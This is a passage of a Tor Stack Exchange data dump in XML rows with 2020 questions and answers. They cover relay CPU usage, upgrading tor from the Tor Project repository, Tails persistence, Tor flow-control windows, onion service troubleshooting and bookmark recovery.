&#xA;aes-256-cbc     141424.04k   177762.28k   160536.66k   148307.63k   154921.64k   188443.31k&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Given this, I would have expected my tor-relay would run at 10-30% CPU. But it runs at 150% CPU (two cores at ~75%).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What explains this big difference?&lt;/p&gt;&#xA;" OwnerUserId="1129" LastEditorUserId="1129" LastEditDate="2020-03-30T18:50:11.513" LastActivityDate="2021-12-21T02:07:30.743" Title="Why is my tor relay taking so much CPU power?" Tags="|relays|performance|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21047" PostTypeId="1" CreationDate="2020-03-30T13:36:29.393" Score="0" ViewCount="285" Body="&lt;p&gt;NYx complains version 0.3.2.10 is obsolete (in bright red letters).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I don't know is how to upgrade to 0.4.2.7.1 or newer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help is appreciated, trying to learn.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adriann&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Operating system is Ubuntu 18.4 LTS. Install tor was with synaptic. I ran the commands you suggested and all they did was roll over back to the command prompt. List.d was completely empty. I include screen shot of sources.list. - Adriann&lt;a href=&quot;https://i.stack.imgur.com/8nRre.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8nRre.jpg&quot; alt=&quot;Sources.list&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19670" LastEditorUserId="19670" LastEditDate="2020-03-31T15:29:57.637" LastActivityDate="2021-12-21T21:04:20.383" Title="Relay OS Obsolete" Tags="|configuration|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21048" PostTypeId="2" ParentId="21043" CreationDate="2020-03-30T14:56:33.013" Score="0" Body="&lt;p&gt;Relays have more overhead than just TLS crypto operations. For example the scheduler uses a significant amount of CPU usage. There are also many memory copies and allocations involved in moving cells around in Tor between buffers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your benchmark uses AES-128, but Tor relay connections generally use AES-256 which should be slower than your AES-128 results. In addition to TLS, there is also the relay cell encryption which uses AES-128. Also when tor uses a bandwidth of for example 50 MiB/s, it uses 50 MiB/s for both incoming and outgoing bytes (not combined).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two cores both at ~75% sounds unusual for a Tor relay, I would have expected it to be more like ~75% on one core and ~10% on the other core. Does &lt;code&gt;top&lt;/code&gt; show the process at 150% (since the process CPU usage in &lt;code&gt;top&lt;/code&gt; is the sum of all threads)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference, with a server that gets about 730,000 KB/s in the openssl AES-128 benchmark, it has a maximum relay bandwidth of ~150 MiB/s at 100% CPU usage.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-03-30T14:56:33.013" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21049" PostTypeId="1" CreationDate="2020-03-30T18:24:02.363" Score="0" ViewCount="163" Body="&lt;p&gt;Do I need to have an app store installed in order to get Tor updates on &lt;a href=&quot;https://www.torproject.org/download/#android&quot; rel=&quot;nofollow noreferrer&quot;&gt;Android&lt;/a&gt;, or will Tor download updates automatically by himself (like Tor Browser on Desktop does)?&lt;/p&gt;&#xA;" OwnerUserId="20730" LastActivityDate="2021-12-21T23:00:50.073" Title="Will Tor Browser for Android receive Updates automatically or do I need to have an App Store installed for that?" Tags="|browsers|android|update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21050" PostTypeId="1" CreationDate="2020-03-31T00:22:50.317" Score="0" ViewCount="2886" Body="&lt;p&gt;I did a manual upgrade per the instructions on the tails website and I lost my persistence folder. I don't see any persistence folder&lt;/p&gt;&#xA;&lt;p&gt;I had my original tails on a 8gb drive and the intermediary was 16gb.&lt;/p&gt;&#xA;&lt;p&gt;Why am I not seeing any persistence folder?&lt;/p&gt;&#xA;" OwnerUserId="29922" LastEditorUserId="88" LastEditDate="2020-07-04T22:40:49.463" LastActivityDate="2022-02-10T21:09:10.950" Title="Tails manual upgrade persistence lost" Tags="|tails|update|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21051" PostTypeId="1" CreationDate="2020-03-31T13:30:47.980" Score="0" ViewCount="160" Body="&lt;p&gt;I have learned Tor's congestion control policy from the paper: &lt;code&gt;Tor：The Second-Generation Onion Router&lt;/code&gt;. But I don't understand Tor's Packaging Window and Delivery Window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The paper said: &quot;The packaging window tracks how many relay data cells the OR is allowed to package (from incoming TCP streams) for transmission back to the OP, and the delivery window tracks how many relay data cells it is willing to deliver to TCP streams outside the network.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the process is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EjHDz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EjHDz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The packaging window tracks data from incoming TCP stream to be packaged to a cell, and the delivery window tracks cells to be sent. Am I right? What on earth is the difference between these two windows?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone help me? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="29934" LastEditorUserId="29934" LastEditDate="2020-04-01T02:53:22.033" LastActivityDate="2021-12-22T08:07:30.817" Title="Details about Tor's Packaging Window and Delivery Window" Tags="|onion-routing|protocol|bandwidth|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21052" PostTypeId="2" ParentId="21049" CreationDate="2020-03-31T14:52:10.593" Score="0" Body="&lt;p&gt;Tor browser for android can be updated automatically as well as manually. Updating Tor Browser for Android automatically assumes that you have either Google Play or F-droid installed on your mobile device. After installing google play, you click on the hamburger menu next to the search bar and navigate to &quot;My apps &amp;amp; games&quot; &gt; &quot;Updates&quot;. If you find Tor Browser on the list of apps which need updating, select it and click the &quot;Update&quot; button. While on F-droid, click on &quot;Settings&quot;, then go to &quot;Manage installed apps&quot;. On the next screen, select Tor Browser and finally click on the &quot;Update&quot; button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to update Tor Browser for Android manually visit the Tor Project website and download a copy of the latest Tor Browser release, then install it as before. In most cases, this latest version of Tor Browser will install over the older version, thereby upgrading the browser. If doing this fails to update the browser, you may have to uninstall Tor Browser before reinstalling it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To learn how to install F-droid and more information on the Tor browser for Android, you can refer to this link: &lt;a href=&quot;https://tb-manual.torproject.org/mobile-tor/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tb-manual.torproject.org/mobile-tor/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28896" LastActivityDate="2020-03-31T14:52:10.593" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21054" PostTypeId="2" ParentId="21047" CreationDate="2020-03-31T17:31:46.883" Score="0" Body="&lt;p&gt;As Synaptic uses APT and the Ubuntu package repositories, it installs an old version of Tor. Ubuntu does not keep the tor package up to date, so it is &lt;a href=&quot;https://support.torproject.org/apt/tor-ubuntu/&quot; rel=&quot;nofollow noreferrer&quot;&gt;recommended&lt;/a&gt; to install tor from the Tor Project repository instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor Project maintains a package repository for Ubuntu (thanks to a Debian maintainer). The details to do this on the command line are here: &lt;a href=&quot;https://support.torproject.org/apt/tor-deb-repo/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.torproject.org/apt/tor-deb-repo/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: This guide may become out-of-date in the future, so please refer to the latest instructions on the Tor Project website at the link above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not familiar with Synaptic, but I believe these steps should work:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make a backup of your tor configuration files (for example &lt;code&gt;/etc/tor/torrc&lt;/code&gt;). This shouldn't be needed with APT, but since I'm not familiar with Synaptic, it's good to be safe.&lt;/li&gt;&#xA;&lt;li&gt;Add the Tor Project keys. As far as I know this must be done on the command line. These are to make sure that you're downloading the correct unmodified packages.&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo wget -qO- https://deb.torproject.org/torproject.org/A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89.asc | gpg --import&#xA;sudo gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | apt-key add -&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;Uninstall the tor package that you currently have installed.&lt;/li&gt;&#xA;&lt;li&gt;Add the Tor Project repository following the guide at &lt;a href=&quot;https://www.ghacks.net/2009/03/08/adding-repositories-to-synaptic/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.ghacks.net/2009/03/08/adding-repositories-to-synaptic/&lt;/a&gt;. This should add the package repository somewhere in &lt;code&gt;/etc/apt/sources.list.d&lt;/code&gt;. For Ubuntu 18.04 you'll want to enter the following repositories into the &quot;URI&quot;, &quot;Distribution&quot;, and &quot;Section&quot; fields:&#xA;&#xA;&lt;pre&gt;&lt;code&gt;deb https://deb.torproject.org/torproject.org bionic main&#xA;deb-src https://deb.torproject.org/torproject.org bionic main&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;Reload the package information.&lt;/li&gt;&#xA;&lt;li&gt;Install tor like you did before. Now it should find the latest version (as of today, it should be version 4.2.7).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-03-31T17:31:46.883" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21056" PostTypeId="1" CreationDate="2020-04-01T03:28:12.883" Score="0" ViewCount="964" Body="&lt;p&gt;I started using Tor v4 most intrigued by the display of the circuit path it followed, 4 nodes from at least 2 countries and usually 3 or 4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now at v9 I don't see it anymore. Has display of the information been purposely omitted? &lt;/p&gt;&#xA;" OwnerUserId="29938" LastActivityDate="2020-05-02T10:03:30.357" Title="Has Tor Browser stopped displaying circuits?" Tags="|tor-browser-bundle|anonymity|security|onion-routing|circuit|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21057" PostTypeId="2" ParentId="21051" CreationDate="2020-04-01T04:54:47.160" Score="0" Body="&lt;p&gt;Here's a quick diagram I made showing the different deliver/package windows. Tor uses package windows for both streams and circuits, and sends RELAY_SENDME cells to inform the other node when it can send more data/cells. Data flows across streams/circuits in both directions so the deliver/package windows always come in pairs. This is described in sections 7.3-7.4 here: &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/tor-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitweb.torproject.org/torspec.git/tree/tor-spec.txt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference, circuit windows are stored in &lt;code&gt;struct crypt_path_t&lt;/code&gt; and &lt;code&gt;struct circuit_t&lt;/code&gt;, while stream windows are stored in &lt;code&gt;struct edge_connection_t&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UhsGy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UhsGy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-04-01T04:54:47.160" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21058" PostTypeId="1" CreationDate="2020-04-01T09:44:36.033" Score="1" ViewCount="238" Body="&lt;p&gt;I'm playing around with whonix and hidden services. I've followed this tutorial (except Step 3: Configure Onion Services Authentication) &#xA;&lt;a href=&quot;https://www.whonix.org/wiki/Onion_Services#Hidden_Webserver&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.whonix.org/wiki/Onion_Services#Hidden_Webserver&lt;/a&gt; but can't seem to make it work. &#xA;I've used the Virtualbox images Whonix-CLI-14.0.1.4.4. All the steps shown in the section Debugging work, &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;UWT_DEV_PASSTHROUGH=1 curl 10.152.152.11:80&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;on the Workstation shows that the webserver is up and running.&#xA;However i can't reach the test page from another tor browser. (even after waiting &gt;30 minutes)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i pin down the issue? &lt;/p&gt;&#xA;" OwnerUserId="29940" LastActivityDate="2020-04-01T09:44:36.033" Title="Whonix hidden service" Tags="|onion-services|whonix|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21059" PostTypeId="2" ParentId="21050" CreationDate="2020-04-01T11:55:26.823" Score="0" Body="&lt;p&gt;Firstly you should know that once in a while this happens since there are many tails, maybe the persistence.conf file got broken. But there is a way out to fix the difficulties your facing.&#xA;Try this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Boot Tails and enable persistence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Use the Tails file manager to look into the directory where the persistence volume is mounted to see if your files are still present.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Top left menu bar &gt; Places &gt; Computer &gt; File System &gt; live &gt; persistence &gt; TailsData_unlocked&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-There should be a number of directories with your saved data contained in them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; electrum,  &#xA; gnupg,  &#xA; Persistent  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(others depending on your configuration)&lt;br&gt;&#xA;      If those directories are present, you may be able to fix your problem by simply re-running the persistence configuration tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Applications &gt; Tails &gt; configure persistent volume&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Enable the same options that you had before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Reboot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully your persistence volume will now be mounted properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However to prevent this;&lt;br&gt;&#xA;Always shutdown your Tails system normally. Do not pull the drive out of the machine to shut it down. That is only to be used in an emergency and could cause data loss.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a safety measure, keep you backups current.&lt;/p&gt;&#xA;" OwnerUserId="28896" LastEditorUserId="28896" LastEditDate="2020-04-05T08:24:35.550" LastActivityDate="2020-04-05T08:24:35.550" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21060" PostTypeId="1" CreationDate="2020-04-01T12:50:25.443" Score="0" ViewCount="971" Body="&lt;p&gt;All previous answers appear to be out of date, so, uere goes!&#xA;My computer crashed while Tor was open, and it broke.&#xA;I have re-installed Tor, searched the wreckage of the broken original but could not find a file which referred to bookmarks.&#xA;Can I use my new installation to import the missing bookmarks?&#xA;Or, can you tell me where the bookmarks were stored in the original browser¿&#xA;                                   Thanking you in advance,  John.      &lt;/p&gt;&#xA;" OwnerUserId="29941" LastActivityDate="2021-12-24T14:01:45.253" Title="How do I import bookmarks?" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21061" PostTypeId="1" CreationDate="2020-04-01T14:58:01.150" Score="0" ViewCount="618" Body="&lt;p&gt;I have a site with which I need to interact. I do this under the tor-network. But it seems to have Tor's lock on it. But when I use the tor browser everything works and the site responds. And when I submit requests to the site via tor.exe, using my own application in c# (windows 10), I get 403 forbidden error.&#xA;The tor browser may go online through ipv6. Configure use ipv6 in torrc doesn’t work for me.&#xA;Does anyone know what the problem is and how to solve it? Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I copy all the headers from the browser request.  They are the same.  And use tor.exe as a SOCKS 5 proxy. Without using tor-proxy from my application the site responds and error 403 does not occur&lt;/p&gt;&#xA;&#xA;&lt;p&gt;code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; HttpWebRequest proxy_request = (HttpWebRequest)WebRequest.Create(/*some uri*/);&#xA;                proxy_request.Method = &quot;GET&quot;;&#xA;                proxy_request.Headers.Add(HttpRequestHeader.AcceptLanguage, &quot;en-US,en;q=0.5&quot;);&#xA;                proxy_request.Headers.Add(HttpRequestHeader.CacheControl, &quot;no-cache&quot;);&#xA;                proxy_request.ContentType = &quot;application / x - www - form - urlencoded&quot;;&#xA;                proxy_request.UserAgent = &quot;Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 &quot;;&#xA;                proxy_request.Accept = &quot;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&quot;;&#xA;                proxy_request.KeepAlive = true;&#xA;                var prx = new HttpToSocks5Proxy(&quot;127.0.0.1&quot;, 9050);&#xA;                proxy_request.Proxy = prx;&#xA;                HttpWebResponse resp = proxy_request.GetResponse() as HttpWebResponse;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28540" LastActivityDate="2020-04-01T14:58:01.150" Title="Using tor.exe error 403, but everything worked in tor browser" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21062" PostTypeId="1" CreationDate="2020-04-02T02:21:38.467" Score="0" ViewCount="78" Body="&lt;p&gt;I want to ask that, if a website can detect multiple tabs/browsers are opening, can it also detects Tor?&lt;/p&gt;&#xA;" OwnerUserId="29944" LastActivityDate="2021-12-23T12:00:30.047" Title="Can others programs detect that Tor is opening?" Tags="|torcheck|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21063" PostTypeId="2" ParentId="129" CreationDate="2020-04-02T07:52:27.437" Score="1" Body="&lt;p&gt;Yes with EntryNode $fingerprint&#xA;Where fingeprints can be found like this &lt;a href=&quot;https://metrics.torproject.org/rs.html#search/as:25513%20&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://metrics.torproject.org/rs.html#search/as:25513%20&lt;/a&gt; (put your AS there).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or just delete Tor\state file.&lt;/p&gt;&#xA;" OwnerUserId="29945" LastActivityDate="2020-04-02T07:52:27.437" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21064" PostTypeId="2" ParentId="21062" CreationDate="2020-04-02T08:05:11.543" Score="0" Body="&lt;p&gt;Yes any websites can see that you are using Tor. They see that because you are visiting their website via a Tor exit node. They don't know who you are unless you tell them, but they see &quot;someone&quot; is visiting using Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can another program running on your computer see that you are using Tor? Yes, there are no attempts to hide that.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-04-02T08:05:11.543" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21065" PostTypeId="2" ParentId="21060" CreationDate="2020-04-02T08:40:01.027" Score="0" Body="&lt;p&gt;You don't say which operating system, so here is the answer for Linux. Hopefully it will be somewhat similar to what you are using&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tor-browser_en-US/Browser/TorBrowser/Data/Browser/profile.default/bookmarks.html&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can import it via the bookmarks menu ctrl-shift-o.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-04-02T08:40:01.027" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21066" PostTypeId="2" ParentId="21056" CreationDate="2020-04-02T08:46:08.550" Score="1" Body="&lt;p&gt;Click on the letter &quot;i&quot; icon on your address bar:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zH8Ps.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zH8Ps.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-04-02T08:46:08.550" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21067" PostTypeId="1" CreationDate="2020-04-02T12:10:05.317" Score="2" ViewCount="2996" Body="&lt;p&gt;I found out about Tor four years ago and it was love at first sight&lt;br&gt;&#xA;I studied how the network works, which is run by volunteers&lt;br&gt;&#xA;From that day on I made all my researches with Tor and kept using Firefox for the shallow mass media entertainment (the more I come across as shallow to the surveillance, the better)&lt;br&gt;&#xA;I want to respect and protect this wonderful network, I don't want to be a burden to it&lt;br&gt;&#xA;Keeping that on the back of my mind, I watched on a daily basis Youtube videos using Firefox&lt;br&gt;&#xA;Problem is, most of the videos I watch are very likely to fall into the category of &quot;fake news&quot;&lt;br&gt;&#xA;Here I am four years later: Youtube (aka Google) has created a complete profile of my political preferences and my doubts about the &quot;universally accepted mainstream truth&quot;&lt;br&gt;&#xA;My extreme care for the Tor network costed me to miss the benefits of it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Said that: Should I use Tor to watch videos?&lt;/p&gt;&#xA;" OwnerUserId="29949" LastActivityDate="2021-09-25T16:20:07.583" Title="Tor - Streaming videos - is it ethical?" Tags="|tor-browser-bundle|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21068" PostTypeId="2" ParentId="21067" CreationDate="2020-04-02T12:26:59.023" Score="1" Body="&lt;p&gt;The Tor network isn't limitless. If you feel bad about about streaming video, then compromise. Do you need to watch video at 1080p or even 720p? How about limiting your resolution to 480 or 240 as a compromise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good rule of thumb is, use as much (bandwidth) as you need and no more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, YouTube is currently blocking many exit nodes so you many not be able to use it with Tor anyway.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-04-02T12:26:59.023" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21069" PostTypeId="1" CreationDate="2020-04-03T01:35:25.210" Score="0" ViewCount="402" Body="&lt;p&gt;&lt;a href=&quot;https://security.stackexchange.com/questions/48502/tor-traffic-correlation-attacks-by-global-adversaries&quot;&gt;https://security.stackexchange.com/questions/48502/tor-traffic-correlation-attacks-by-global-adversaries&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know what traffic correlation attack is but I find it hard to understand this article or how it got to its conclusions about 'de-anonymize' 'typical web user' who use TOR within a day just with the ability to monitor enough web traffic. I also don't get how dark markets and child porn still exists on onion sites if all it takes is a little bit of cooperation to de-anonymize everyone?, The article is from 2013 so the governments had a long time to do it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the end all what the 'global adversaries' can see is traffic volume and timing(that is affected by some timing noise) right? so if you are just a typical web user who just connected few times(lets say 5 times) to an average website/webpage with an average size of 700kb who said that you are one of the few TOR users who visited a website/webpage in this size 5 times around the time you did it?. &#xA;I am missing something here?.&lt;/p&gt;&#xA;" OwnerUserId="29952" LastEditorUserId="29952" LastEditDate="2020-04-03T12:32:59.813" LastActivityDate="2021-12-29T22:02:00.193" Title="Can global adversaries 'de-anonymize' any TOR user in a day?" Tags="|deanonymization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21070" PostTypeId="1" CreationDate="2020-04-03T06:23:35.373" Score="0" ViewCount="27" Body="&lt;p&gt;Certain clients cannot connect to my hidden_service. I have no errors in any log, just &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;connection timed out&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the tor browser. If I try from a different device, it can reach the hidden_service url/.onion fine. Both devices can browse other tor sites just fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What causes intermittent tor hidden_service? Is there a work around?&lt;/p&gt;&#xA;" OwnerUserId="27884" LastEditorUserId="27884" LastEditDate="2020-04-03T08:00:35.810" LastActivityDate="2020-04-03T15:19:16.857" Title="What causes intermittent hidded_service connectivity? Is there a way to stablize it?" Tags="|tor-browser-bundle|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21071" PostTypeId="2" ParentId="21067" CreationDate="2020-04-03T07:01:04.790" Score="2" Body="&lt;p&gt;I'd argue that it isn't particularly unethical. The reason TOR is slow to access regular sites isn't that many people are watching videos through TOR exit nodes, it's that the vast majority of traffic TOR exit nodes deal with is traffic produced by malware (according to Cloudflare, more than 90%). You watching a video will have a miniscule impact. That said, why would you? In my experience, you can only watch 144p videos and the connection constantly breaks. And YouTube identifies people not by their IP address but by the cookies in their browser. Just delete cookies and YouTube won't be able to identify you. No reason to use TOR.&lt;/p&gt;&#xA;" OwnerUserId="27924" LastActivityDate="2020-04-03T07:01:04.790" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21072" PostTypeId="2" ParentId="16111" CreationDate="2020-04-03T07:48:28.770" Score="0" Body="&lt;p&gt;From the version 9 of Tor browser, you can resize painless the window, because they introduced a new anti-fingerprinting technique called letterboxing from firefox 67.&#xA;Letterboxing adds margins around the content view of the window.&#xA;Here the complete story: &lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1407366&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bugzilla.mozilla.org/show_bug.cgi?id=1407366&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29955" LastActivityDate="2020-04-03T07:48:28.770" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21073" PostTypeId="2" ParentId="21060" CreationDate="2020-04-03T11:48:53.793" Score="0" Body="&lt;p&gt;did you backup your bookmarks? If yes, here is the step by step guide on how to restore it. Also note that, restoring bookmarks from a backup will overwrite your current set of bookmarks with the ones in the backup file.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Click the Library button on your toolbar. (If you don't see it there, click the menu button then click Library.) Click Bookmarks and then click the Show All Bookmarks bar at the bottom.&lt;/li&gt;&#xA;&lt;li&gt;In the Library window, click the Import and Backup button and then select Restore.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the backup from which you want to restore:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-The dated entries are automatic backups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-(Choose File)… lets you restore from a manual backup.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;After choosing a backup, your bookmarks from that file will be restored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Close the Library window.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;However, if you wish to import bookmarks to your newly installed Tor Browser, here are the steps you will need to follow below;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;choose Import Bookmarks from HTML….&lt;/li&gt;&#xA;&lt;li&gt;Within the Import Bookmarks File window that opens, navigate to the bookmarks HTML file you are importing and select the file.&lt;/li&gt;&#xA;&lt;li&gt;Click the Open button. The Import Bookmarks File window will close.&lt;/li&gt;&#xA;&lt;li&gt;Close the Library window.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The bookmarks in the selected HTML file will be added to your Tor bookmarks within the Bookmarks Menu directory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may need to backup your bookmarks after importing. so here are the steps If you wish to Backup&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Choose Backup&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-A new windows opens and you have to choose the location to save the file. The file has a .json extension.&lt;/p&gt;&#xA;" OwnerUserId="28896" LastActivityDate="2020-04-03T11:48:53.793" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21074" PostTypeId="2" ParentId="21070" CreationDate="2020-04-03T15:19:16.857" Score="1" Body="&lt;p&gt;from irc.oftc.net #tor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issues comes from v2.0 custom addresses. If you want a custom url, you're going to lose connectivity reliability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;v3.0 (your default) will not experience the same problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you absolutely must use a custom v2.0 address, you must develop a schema that incorporates the use of both v2.0 and v3.0 such as hyperlink anchor tag being v2.0 and using an actual v3.0 address, on twin servers. Prepare for v2.0 unreliability.&lt;/p&gt;&#xA;" OwnerUserId="27884" LastActivityDate="2020-04-03T15:19:16.857" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
